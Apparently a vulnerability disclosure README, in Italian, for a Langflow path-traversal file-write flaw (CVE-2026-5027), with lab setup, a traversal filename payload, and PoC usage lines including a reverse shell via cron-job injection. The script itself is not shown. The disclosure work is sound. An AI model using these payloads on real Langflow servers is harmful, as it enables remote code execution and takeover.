
Langflow, esecuzione remota di codice (RCE) tramite iniezione di Cron Job attraverso Path Traversal
Questo post è un articolo di ricerca pubblicato da EQSTLab.
Grazie a Yahia Hamza, che ha segnalato e analizzato questa vulnerabilità.
★ CVE-2026-5027 PoC di Path Traversal / Scrittura Arbitraria di File in Langflow ★

CVE-2026-5027 : Vulnerabilità di Scrittura Arbitraria di File in Langflow
descrizione: Una vulnerabilità di path traversal in Langflow <= 1.8.4 consente agli attaccanti di scrivere file arbitrari al di fuori della directory di upload prevista tramite un filename multipart manipolato fornito all'endpoint /api/v2/files. Nelle distribuzioni in cui l'auto-login è abilitato o l'autenticazione è altrimenti debolmente applicata, questo problema può essere sfruttato per ottenere esecuzione di codice remoto scrivendo contenuti controllati dall'attaccante in posizioni sensibili del filesystem.
Crea ed esegui l'ambiente vulnerabile usando Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint vulnerabile
POST /api/v2/files
Il problema esiste perché la funzionalità di upload si fida del valore filename multipart fornito dal client. Invece di generare un nome di archiviazione sicuro lato server o di vincolare il percorso risolto a una directory di upload dedicata, il percorso di codice vulnerabile consente a sequenze di traversal come ../ di influenzare il percorso di destinazione finale.
Di conseguenza, un attaccante può uscire dalla root di archiviazione prevista e forzare l'applicazione a scrivere file in posizioni arbitrarie sul filesystem del server.
Un flusso di sfruttamento rappresentativo è il seguente:
/api/v2/files.filename manipolato contenente sequenze di path traversal.Questo è fondamentalmente un problema CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
Il difetto di sicurezza è causato da una sanitizzazione e validazione insufficiente dei percorsi file controllati dall'utente durante la gestione dell'upload. L'applicazione accetta il nome file originale del client e lo passa nel flusso di archiviazione senza applicare adeguatamente la normalizzazione e il contenimento del percorso.
Da un punto di vista difensivo, il pattern pericoloso è concettualmente simile al seguente:
save_path = base_dir / file.filename
Se file.filename contiene componenti di path traversal come:
../../../../tmp/poc.txt
il percorso finale risolto può puntare al di fuori di base_dir, consentendo la scrittura arbitraria di file.
Le vulnerabilità di scrittura arbitraria di file sono spesso più gravi dei problemi di upload senza restrizioni standard perché l'attaccante controlla non solo il contenuto del file, ma anche il percorso di destinazione. A seconda dei privilegi di runtime del processo Langflow, ciò può consentire:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Questo repository non è inteso a facilitare lo sfruttamento non autorizzato di istanze Langflow. Lo scopo di questo progetto è aiutare ricercatori di sicurezza, difensori e sviluppatori a comprendere la vulnerabilità, validare l'esposizione in ambienti controllati e applicare mitigazioni efficaci.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027